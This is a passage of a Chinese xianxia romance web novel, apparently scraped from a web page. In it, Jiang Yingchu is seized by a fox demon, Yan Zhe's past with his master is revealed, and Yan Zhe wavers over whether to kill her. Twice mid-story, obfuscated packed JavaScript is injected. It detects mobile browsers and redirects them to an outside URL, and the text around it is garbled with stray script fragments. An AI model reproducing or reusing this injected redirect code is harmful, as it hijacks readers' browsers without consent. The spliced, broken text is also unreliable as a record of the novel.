“他马上就要接媳妇呢,娶的是李阿婆的独女,命挺大的嗷。”梅寻宁顺嘴提了一句,“唉,你成亲了可不能丢了这做糖葫芦的手艺……” “李阿婆的独女?”姜盈初重复道。 言遮在她身后勾唇,俯身凑在徒弟耳边,轻声道:“我知道李阿婆在烦心什么了,不用你问这姓梅的。” 已经猜到李阿婆烦心事的姜盈初转身,随口小声哄师父道:“是么?真厉害。” “比姓梅的厉害?” “嗯。”姜盈初应道,四人彼此默契地交换了个眼色,蹑手蹑脚地往外走。 等他们消失在主屋门外时,依稀还能听见梅寻宁夸赞糖葫芦的声音。 回到城郊小院,旺财注意到帝君周身冒着一股寒气。 “咋?”它嚼着从隔壁狗窝里抢来的两口肉,问道。 言遮嫌弃地扫了眼自己的强盗蠢麒麟,声音惆怅:“她竟真拿我和那姓梅的东西相比。” 旺财:…… 旺财埋头继续吃肉,嚼嚼嚼的声音惹得帝君愈发嫌弃它。 旺财也很嫌弃帝君,这个整日不知道在想什么的帝君。 * 姜盈初和言遮的猜测别无二致,无非“孤独”二字。 琼枝巷尽头的小院里,李阿婆坐在小登上捡完豆角,又摇摇晃晃地打了桶水。 清水倒进洗菜盆子,倒映出一张晃动的脸。 李阿婆看见自己满脸的皱纹,洗菜的手顿了一下。 她转头望着空荡荡的院子,一阵失落袭来,把人裹挟其中。 女儿是修士,这会儿在玄衙里忙。 待到太阳落山,炊烟袅袅时,她就会回家,来和自己一块儿吃饭。 可这样的日子不能维持几天了。 大喜的日子一过,女儿走出这道门,自己往锅里倒米时就得少倒一点。 李阿婆擦了擦眼角,一边洗菜一边心道:这米吃不完,放坏了可得怎么办? 真难办呀。 正这么想着,院门突然被人叩响。 她小步走过去,问:“谁?” 姜盈初忐忑地抛出了编好的理由:“阿婆,我们是受韩郎之托来送糖葫芦的,还有其他东西。” 听闻来人受自己女婿之托,算是暗号勉强对接成功,阿婆这次开门后,没丢出来什么东西。 “阿婆?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121165|179643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜盈初小心地唤了一声。 李阿婆径直往院内走,“进来吧。” 确定阿婆没有记住脸的姜盈初松了一口气。 四人挤进门内,面对阿婆的逼问,言遮大言不惭,面色如常道:“明志兄说了,这东西需得亲手交到令爱手中。” 李阿婆横眉冷对,却又无可奈何,只能任由这四个无赖立在院中。 见阿婆在洗菜,姜盈初立马挽起袖子跑了上去,“阿婆,我帮您洗。” 她刚伸出手,“啪”的一下—— 李阿婆拍蚊子一样拍在姜盈初白皙的手上,然后冷哼一声,端起菜盆子进了厨房,把门怼得严严实实。 被毫不留情扇了一掌的姜盈初:…… 说好的脾气好呢? 太阳渐渐往西走,树影也偏移,日头渐渐不是那么晒。 人心也在慢慢变凉。 败下阵来的姜盈初颓丧地蹲着,把希望全寄托在临野身上。 “阿婆们就喜欢你这种一本正经的孩子。”她语重心长地仰面说,“加油。” 临野带着大家的希望往前走了十来步,小心翼翼叩响了厨房的木门。 “饿了也不管饭!”里面马上有道声音传来。 临野灰不溜秋地折回了原地。 几人只好又把目光投向三水。 “阿婆们就喜欢你这种胖嘟嘟的小孩儿。”姜盈初拍着三水的肩,哄诱道:“加油。” 淋过水挨过面粉的三水走得战战兢兢,很慢地寸到了厨房门口。 抬手敲门时,三水恍若没了力气,敲出来的声响堪比蚊子的细腿在敲门。 李阿婆没听见,在里面提起菜刀。 听见“咚咚”的声响,三水立刻像惊弓之鸟,一路火花带闪电地扑到了姜盈初怀里。 姜盈初:…… 只剩下一个人了。 几人的目光又齐刷刷看向言遮。 “阿婆……”姜盈初半晌没想出来一句好词儿,良久才吭出来,说:“阿婆就喜欢你这种和她一样的。” “嗯?”言遮问。 姜盈初低头,小声快速且含糊道:“和她一样……乖的。” 言遮:? 画风好像有点突变? 他被推着向前走,心里一种说不清道不明的感觉。 乖的…… 这算夸赞么? 直到一阵风吹醒人的神志,言遮忽然意识到,小徒弟这句话有个前缀——“和阿婆一样。” 11. 文学城 临野在书房不起眼的角落里发现了散落在地的地图。 是雷泽的地图。 翻过雷泽南边的山,再往前一段路,便是无妄海。 本来姜盈初找到若柒柒之后,就会赶去这个地方。 这张地图上标出的地方倒是和她的前进路线,一笔嫣红的圆圈落在南边的山上。 “在南山?”廊下,梅寻宁问捏着地图的姜盈初。 姜盈初点头:“不错,即刻动身吧。” 御剑飞行往南山赶的时候,姜盈初在呼啸的风中眨了一下眼。 言遮察觉到了她身子细微的一僵——因为他的手就环在小徒弟的腰上。 “怎么?”他问。 一抹赤色在空中忽隐忽现,姜盈初确定自己没有看错后,回答说:“又是那只蝴蝶。” “嗯。” 梅寻宁也注意到了赤心蝶的重新出现,这让他忍不住又回头,暗戳戳看了言遮一眼。 赤心蝶。 草木和各种小昆虫关系密切,修得人身后,这些小东西也是独属于精怪的一种法器。 而在几千年前,整个云水山得知赤心蝶能听言遮的话时,都不胜诧异。 除了梅寻宁。 那也是一次宗门小测。 继言遮被师兄下了套之后。 彼时言遮飞升上神,宗门里无人与之相敌,自然而然被云水真君免去了参加小测的义务。 不料大家陆续聚集一堂的时候,言遮也混在人群中。 云水真君捋着胡子问他:“让你来的时候你不来,不让你来,你倒混在人里头了。” 言遮张嘴就是自己的歪理,道:“师尊,这技艺的精湛,离不开与人切磋。” “那你要同谁切磋?”云水真君被小徒弟逗笑,问:“和为师切磋吗?” 言遮装得满脸天真,答的话驴头不对马嘴:“什么?您知道我想和大师兄比试一番?” 云水真君:“豁。” 如果在场别人被言遮点名了,一定慌得当场挖个洞钻进去。 可梅寻宁堪称整个云水山最要面子的人,没等云水真君从中周旋,当即就一口应了下来。 结果在情理之中,却又出人意料。 在情理之中,因为梅寻宁毫无反转地败给了言遮,手中的剑都被打飞出去十米远,摇摇晃晃身形不稳。 出人意料的是,言遮调动灵力掐诀,居然换来了赤心蝶! 一时间,云水真君都忘了去呵斥小徒弟的下手没轻没重,满脸自豪。 当众人围着言遮高声夸赞时,梅寻宁抹去嘴角血迹,狼狈地孤身离去。 赤心蝶,梅寻宁永远不会忘记,他也不会忘记在言遮剑下所受过的耻辱。 眼下,一路追随着赤心蝶落至路口,姜盈初随口说:“这蝴蝶的颜色挺特别的。” 言遮看了蝴蝶一眼,这次没有接小徒弟的话。 “走吧。”他话锋一转地说。 南山地大,好在有赤心蝶的指引,一条弯弯绕绕,藏在遮天古树中的小路被众人找到。 拨开路口的枝叶往下一瞧,姜盈初脸色微变。 只见湿润的黑土上,深深浅浅的脚印密布——是兽类的脚印。 有不稳重的玄差看见脚印,当即被吓得叫唤了一声。 小路弯弯绕绕地通向一处幽深的洞口,那洞里便立马有隐隐的兽鸣声传来。 大家没听过这种叫声,但还是深感凄厉,鸡皮疙瘩都要起来。 姜盈初要第一个往进走的时候,忽然又只手攀上她的肩膀,指尖不小心蹭过她的脖颈。 她碎发下的皮肤上沾了一点粉,很细微,很难被人发现。 “我走前面吧。”梅寻宁收回手,捻了捻指腹,主动挡在了前面。 三水和言遮被姜盈初勒令候在外面,言遮不满地眯了眯眼,可碍于自己无能师父的人设,无言反驳。 三水瞥见密密麻麻的兽印,听见凄厉的咆哮,不用姜盈初说,心里就打起了退堂鼓。 “我觉得你也不要进去。”他看着那些缠绕在姜盈初身边的黑雾,仰面说。 可惜姜盈初以为这是三水在害怕的阻拦,她安慰地笑了一下,“放心。” 没等三水把话说完,她就跟在梅寻宁身后往洞口走了。 三水只能闭嘴。 早在他把自己能看到不好的事情发生这个能力告诉姜盈初的时候,姜盈初对他说了句悄悄话。 她说:“以后不要告诉别人你的能力。” “可是我是想提醒他们啊。”三水说。 姜盈初:“那也不行。” 所以现在三水没有办法堂而皇之地说“我觉得不会发生不幸,”只能眼睁睁目送姜盈初钻进洞里。 伸手不见五指的漆黑,姜盈初甩出一张符纸,符纸燃起的火苗才依稀照亮最近的地方。 临野跟在姜盈初身后,忽而感到被什么东西一绊。 他低头看去,发现了散落在地的珠钗——是李平安的东西。 他把这些东西捡拾起来,递给姜盈初。 “什么?”姜盈初轻声问。 许是光太暗了,她实在看不清楚临野手里捧了什么。 临野抬眼,古怪地盯着她,“李平安的钗子。” 姜盈初“哦”了一声,又转身准备跟着梅寻宁继续往内走。 往前迈出一步,她又顿住了脚步,僵硬地回过头来。 她看不清楚这是什么东西。 临野怎么能看清楚? 姜盈初去观察临野的表情,结果只看到了一个模糊的人影。 四周的一切都变得模糊,晃动…… 一阵不知名的疼痛似潮水袭来,她甚至站都站不稳。 碰巧一条毛茸茸的尾巴在黑暗里伸出,以迅雷不及掩耳之势还上姜盈初的腰。 只一瞬间,她就被那条尾巴拖进了无边黑暗里——伴随着身体的剧痛。 姜盈初已经不能分辨自己此刻在什么地方,朦胧间,她看到了一双记忆深刻的通红眼睛。 是给她放了一枝不同意的茉莉的那名女子! 这名女子眸光幽深地盯着姜盈初,身后的尾巴高高竖起。 尾巴。 正常人怎么会有尾巴? 姜盈初觉得自己疼出了幻觉,昏昏沉沉闭眼。 * 她疼得昏了过去,可哪怕是在梦中,疼痛的感觉也依旧如影随形。 夕阳沉下山头,山间刮起微凉的夜风。 昏沉朦胧的幽蓝里,一棵花树被吹得飘下片片花瓣。 姜盈初蹲在花树下,缩成一团,尽量让自己忽视从骨缝里渗出一般的痛感。 不远处传来一阵窸窣的响声。 姜盈初艰难又迅速地躲在了近处的大石头后面,再小心翼翼地探头去看来人。 未见其人,先见来人提着的灯。 暖黄色的光瞬间驱散了姜盈初心里的恐惧,她抬头顺着飘摇的衣摆看去,对上言遮的视线。 “今日还有药么?”姜盈初问。 言遮将灯笼搁置在石头上,从怀里摸出一个小玉瓶,温声笑道:“当然有。” 他眉宇间又透着毫不掩饰的担心,问:“今日还觉得疼?” 姜盈初闷闷地“嗯”了一声。 言遮半蹲下来,倒出玉瓶里的小药丸。 看着姜盈初吃下,他疑惑又不解,但声音坚定:“明天我再去藏书阁找找看,一定能查清你这是什么病。” “好。”姜盈初应道,她自然而然地趴上了言遮的背。 他背起她,缓缓走离花树。 这是他们这几日形成的默契,她在这里偷偷吃了言遮拿来的药,再由他背着自己往出走。 用言遮的话解释,“这药太珍贵,其他人瞧见,是会想方设法来偷的。” “你别担心,不会是什么稀奇古怪的病。”稳步走下石阶,言遮还在安慰姜盈初。 姜盈初无精打采地趴在他肩头,“嗯。” 言遮听出她一个字里面藏着的丧气,于是更放软了声音,“我给你讲个故事,从前有一个小猪,他修炼成精……” 温软的声音弥散在风中。 他故意编了哄小孩的故事来哄人,姜盈初听着故事,心里却愈发烦闷。 她当然知道自己没患什么稀奇古怪的病。 她只是有点——不适应这副身体而已。 言遮还在讲着小猪精的故事,姜盈初腹诽道:猪修炼成人,可不能称作精怪。 “我很重吗?”她突然问。 言遮愣怔,不懂她的意思,“嗯?” 姜盈初感受着他背上传来细微的湿意,说:“你都出汗了。” 言遮顿了一下,继续缓步向前走着。 “我这两日没修炼的缘故。”他解释说。 路仿佛长得没有尽头,他们在看不清彼此的夜色里慢慢往前走。 是这条路本就长,还是有人希望路再长一点? 都有吧。 不止是有人,两个人都希望这条路再长一点,时间再慢一点。 我们再待在一起久一点。 姜盈初感到疼意渐渐淡去。 忽而天旋地转,她又动弹不得,好像被囚禁在什么里头一样。 倾盆大雨,电闪雷鸣。 雨水将眼前石板冲刷得亮如明镜,也将内言遮的长发打得湿散。 云水真君撑着伞,路过罚跪在雨中的小徒弟,心中怨气还未消散。 他冷哼一声,径直路过了言遮。却又在三两步之后折返回来。 “你的脑子里到底装了什么?”云水真君把伞撑在小徒弟头顶,怒骂道:“你飞升上神的雷劫本就凶猛得异于常人,我每日抽三个时辰来给你炼丹,你转头就拱手相让是什么意思?你是感觉不到疼吗?铁打的皮肉吗?” “好,就算你是铁做的感觉不到疼,那雷劫的疤留在背上,你非要逞强背人干什么?这疤总是又裂开的吧?那沾血的衣物是你的吧?这还不疼?” 言遮一声不吭。 姜盈初闻言,觉得一种难以言喻的感觉漫上心头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132220|179643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可她动不了。 * 姜盈初被狐妖抓走,帝君第一次在凡间仗着自己“帝君”的名号压迫别人。 狐妖许茵虽然现出真身,可寡不敌众,再加上她还得频频回头保护角落里那个脸色惨白的人,自然落了下风。 梅寻宁和一众玄差降伏了她,秘密地将其关押在城主府。 “她应该是在混战中被那狐妖伤到了。”梅寻宁给脸色黑沉的言遮解释。 言遮不偏头,目光紧紧盯着昏在床上的姜盈初。 良久,他侧身勾勾手指,示意梅寻宁和他一块儿往出走。 “把那只狐妖交给我。”迈出房门,言遮冷声道。 梅寻宁满脸尴尬,毕竟许茵是和自己有着主仆情谊的妖兽。 把她交给这会儿的言遮,无疑是把她推向了死神的怀抱。 他解释道:“她平时不伤人的,虽然修得人身,可——” 话没说完,言遮就抬手扼上他的脖子,将他狠狠撞在了身后柱子上。 毫无防备的梅寻宁疼得倒吸一口凉气。 “本君命你,把那只狐妖交出来。”言遮的声音比刚刚还要冷,眼眸黑沉,眸中似有乌云翻滚。 没有人能在帝君的压迫下说出一个“不”字——除了梅寻宁这种最厌恶被人威胁的人。 特别是威胁他的人是言遮的时候,他会越挫越勇。 “要我交出她,然后呢?给床上躺着的灭世魔头报仇吗?”梅寻宁面目狰狞的问,“我真的不懂,你下凡除魔,杀她了如指掌,怎么时至今日还不——” “不用你管。”言遮眼眸眯起,扼住梅寻宁脖子的手更用力几分。 梅寻宁面红耳涨,却依旧不肯罢休,艰难地嘶声道:“你不杀了她,是等谁死了才要动手吗?师尊死了你才愿意动手吗?” 言遮的手猛然松开来,再难抬起。 梅寻宁捂着脖子咳了几声,接着“咯咯咯”地笑起来。 他贴近言遮,眉目狠戾,揉着脖子狠狠道:“你可永远不要忘了师尊是怎么死的。” 永宁三十四年,云水真君命陨于人间。 真君命陨,其幕后黑手不是凡人,而是一年前化魔的言高义。 言高义,言遮的生父。 云水真君死状凄惨,被人掏心挖肺。 素日里威严无上常坐高台的掌门,居然死在了自己的山门外头。 言遮赶到山门外时,那里等他的除了云水真君的尸体,还有山门上下一众师兄弟妹的冷眼相待。 “你爹的夺魄笛不小心落在这里了。”梅寻宁从云水真君的尸体上拿起笛子,沾血递给言遮。 言遮哑口无言,颤抖着接过笛子。 他愣神地盯了笛子好一会儿,忽然抬手,将其甩出去数米,恍若刚刚碰了什么脏东西一样。 在这一刻,言遮终于认清了他爹已经化魔的事实。 五年前,四处突然流言窜起,说将有魔头降世。有人深信不疑,有人嗤之以鼻。 一年前,言遮的生父言高义额间突然多出来一朵墨色的花,印记一般。 云水真君昭告天下:此乃魔印。 言高义是魔头? 云水真君的威望不必多说,此话一出,众人深信不疑,纷纷要杀了言高义,除魔卫道。 大家追杀言高义的同时,还不忘了给云水真君道一声谢。 彼时只有一个人给云水真君摆脸色。 父亲猛然被扣上一顶“魔头”的帽子,言遮差点想卷了铺盖就出山门。 直到见到师尊尸体的这一刻,他才意识到,师尊所言所语,都没有骗他。 大家来没来得及声讨言遮,却见言遮做出了一个惊世骇俗的事。 手刃生父,除了魔,卫了道。 从此没人敢把云水真君的死怪到他头上来——除了梅寻宁。 你要等有人死了才肯动手吗? 梅寻宁的话萦绕在言遮周身,挥之不去。 言遮终是迈进了那间房。 * 房间里很安静,下人都被言遮遣散,他轻轻带上了门,随手抛出一道结界。 姜盈初还没有醒,安安静静地躺在床上。 言遮走过去,瞥见没掖好的被角,下意识皱了皱眉。 他走过去,一边在心里吐槽下人做事的不细致,一边给她仔细地盖好被子。 抬手的那一刻,言遮反应过来自己是来杀她的,哭笑不得。 既来杀她,何苦又要做这种事? 她再也不会着凉了。 姜盈初睁眼的时候,四肢百骸依然都很痛。 她转头,看见言遮坐在自己床边。 梦和现实一时间真假难辨,反正刚从难过中抽离的姜盈初分不清楚。 言遮逆着光,神情晦暗。 姜盈初直起身子,下意识地做了自己想在梦中做的事。 她惊喜地发现自己终于能够动弹,而后靠近他,再靠近他。 距离近在咫尺的时候,她抬手,轻轻抚上他的眉骨。